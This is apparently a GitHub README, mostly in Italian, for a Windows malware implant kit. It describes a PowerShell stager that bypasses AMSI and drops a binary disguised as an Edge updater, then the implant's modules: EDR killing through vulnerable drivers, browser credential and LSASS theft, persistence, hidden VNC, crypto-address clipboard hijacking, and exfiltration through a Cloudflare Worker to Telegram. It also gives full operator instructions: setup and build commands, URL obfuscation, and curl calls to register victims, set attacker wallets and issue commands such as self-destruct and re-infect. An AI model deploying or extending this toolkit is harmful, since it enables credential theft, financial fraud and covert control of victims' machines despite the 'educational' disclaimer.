
Impianto end-to-end super elite 0day. Full kill-chain. Exploit, escalate, pivot, poison, persistence.
@abraxas_null
·
[email protected]
·
abraxaslabs.tech
·
github.com/abraxas/veneficus
Crediti: @YoSoth0
Kit di implant per Windows 10/11 x64: uno stager PowerShell, un PE in Rust e un Cloudflare Worker che avvisa l'operatore su Telegram.
Lo stager (resources/loader.ps1) ha lo scopo di silenziare AMSI nel processo PowerShell corrente, scaricare l'implant dalla rotta /beacon del Worker e avviarlo come %TEMP%\MicrosoftEdgeUpdate.exe. Il PE valuta poi l'host alla ricerca di artefatti da sandbox/analista. Un punteggio alto cancella il binario; un punteggio medio entra in "safe mode" (solo fingerprint); un punteggio basso esegue l'intero stack — patch AMSI/ETW, un pool BYOVD contro processi EDR noti, furto di credenziali dai browser, una catena di dump di LSASS, persistenza WMI/scheduled-task/Run, un proxy SOCKS5 su localhost, un listener HVNC/RFB su localhost e un clipper degli appunti per indirizzi crypto. Un loop HTTPS con jitter invia beacon e interroga un piccolo set di comandi (/status, /proxy_on, /self_destruct, /re_infect, /sleep, toggle della safe mode). L'exfil è AES-256-GCM con HMAC, con chiave derivata da un UUID inserito in fase di compilazione; il Worker dovrebbe inoltrare il ciphertext senza detenere la chiave.
Questo repository è pubblicato per scopi educativi e di analisi. Una lettura file per file di ciò che è implementato rispetto a ciò che è solo stub si trova in VENEFICUS_MINI_v3_DEEP_ANALYSIS.md.
Solo per scopi educativi. 2026 Tutti i diritti invertiti.
VICTIM MACHINE
loader.ps1 (AMSI/ETW bypass → download → execute)
└── veneficus_mini.exe
├── Environment assessment (sandbox/VM/analyst detection)
├── Stealth: syscall bypass chain, lacuna stack-spoof, DKOM, AMSI/ETW patch
├── BYOVD: kill EDR processes (K7RKScan, ThrottleStop, BdApi, TrueSight, wsftprm, RTCore64)
├── Payload: creds, cookies, LSASS dump, device fingerprint
├── Persistence: WMI / Scheduled Task / Registry (three-way fallback)
├── SOCKS5 proxy (127.0.0.1:1080 by default, configurable)
├── HVNC (127.0.0.1:5900 by default, configurable)
├── Clipper: crypto address hijacking (BTC, ETH, LTC, XMR, DOGE, SOL, XRP, BNB, USDT)
└── C2 loop: AES-GCM encrypted poll every 10 ± 3s (safe mode: 60 ± 18s)
↕ HTTPS
CLOUDFLARE WORKER
/beacon → implant download
/exfil → receive encrypted data → forward ciphertext to Telegram
/commands → return queued commands (one-time queue)
/config → return operator config blob
/admin → queue commands (requires X-Admin-Key)
/register → register UUID (requires X-Admin-Key)
/unregister → revoke UUID (requires X-Admin-Key)
/listing → list all UUIDs (requires X-Admin-Key)
/set_config → push config (requires X-Admin-Key)
↓
TELEGRAM BOT
Receives: ciphertext + nonce + HMAC (operator decrypts offline)
| Componente | Come installarlo |
|---|---|
| Rust + cargo | curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh |
| Target di cross-compilazione Windows | rustup target add x86_64-pc-windows-gnu |
| Cross-linker MinGW | sudo apt install mingw-w64 |
| Wrangler (CLI per CF Worker) | npm install -g wrangler |
wrangler login
wrangler init veneficus-relay
# Replace worker.js with cloudflare/worker.js
wrangler secret put TELEGRAM_TOKEN # from @BotFather
wrangler secret put TELEGRAM_CHAT_ID # your chat/group ID
wrangler secret put ADMIN_KEY # random 32-char secret
wrangler kv:namespace create "UUID_KV"
wrangler kv:namespace create "COMMANDS_KV"
wrangler kv:namespace create "CONFIG_KV"
# Add KV bindings to wrangler.toml:
# [[kv_namespaces]]
# binding = "UUID_KV"
# id = "<uuid_kv_id>"
# (repeat for COMMANDS_KV, CONFIG_KV)
wrangler deploy
import base64
url = b"https://your-worker.workers.dev"
key = 0xAF
enc = bytes([b ^ key for b in url])
print(base64.b64encode(enc).decode()) # → set as RELAY_URL_BYTES
RELAY_URL_BYTES="<output_above>" \
BYOVD_DRIVER_DIR="./drivers" \
TOOLS_DIR="./tools" \
cargo build --release --target x86_64-pc-windows-gnu
Posiziona i file .sys dei driver vulnerabili in drivers/ e i binari degli strumenti in tools/ prima della build.
Leggi l'UUID dal binario (inserito in fase di build):
strings target/x86_64-pc-windows-gnu/release/veneficus_mini.exe | grep -E "[0-9a-f]{8}-[0-9a-f]{4}"
Registra tramite l'API admin:
curl -X POST https://your-worker.workers.dev/register \
-H "X-Admin-Key: YOUR_ADMIN_KEY" \
-H "Content-Type: application/json" \
-d '{"implant_uuid":"<uuid>","note":"op_blackbird_host01"}'
curl -X POST https://your-worker.workers.dev/set_config \
-H "X-Admin-Key: YOUR_ADMIN_KEY" \
-H "Content-Type: application/json" \
-d '{
"implant_uuid": "global",
"config": {
"clipper_addresses": {
"bitcoin": "bc1qyourwallethere",
"ethereum": "0xYOURWALLETHERE"
},
"reinfect_url": "https://your-worker.workers.dev/beacon"
}
}'
Invia tramite l'endpoint /admin:
curl -X POST https://your-worker.workers.dev/admin \
-H "X-Admin-Key: YOUR_ADMIN_KEY" \
-H "Content-Type: application/json" \
-d '{"implant_uuid":"<uuid>","command":"/status"}'
| Comando | Effetto |
|---|---|
/self_destruct | Wipe a 3 passaggi + pulizia dei log eventi + uscita |
/re_infect | Scarica un nuovo payload da reinfect_url nella config, sostituisce se stesso |
/status | Invia PID, stato del proxy, safe-mode, UUID al C2 |
/proxy_on | Abilita il proxy SOCKS5 |
/proxy_off | Disabilita il proxy SOCKS5 |
/exit_safe | Esce dalla safe mode, riprende l'operatività completa |
/enter_safe | Entra in safe mode (solo fingerprint) |
/sleep <secs> | Sovrascrive l'intervallo base di polling C2 |
| Modulo | Catena (a sinistra = primo tentativo) |
|---|---|
| BYOVD | K7RKScan → BdApiUtil64 → TrueSight → ThrottleStop → STProcessMonitor → wsftprm → RTCore64 → capcom → disable blocklist |
| LSASS | MiniDumpWriteDump (native) → WDigest patch → LSA Whisperer → DumpGuard → PPL bypass (RTCore64) |
| NTLM | PrinterBug → PetitPotam → cross-protocol relay (HTTP→LDAP) → CVE-2025-33073 → MSSQL relay |
| Syscalls | Tartarus Gate → Halo's Gate → ntdll unhook → indirect → standard WinAPI |
| DKOM | EPROCESS unlink → PspChained enumeration → EDR callback unregister |
| Persistenza | WMI subscription → Scheduled Task → HKLM Run key |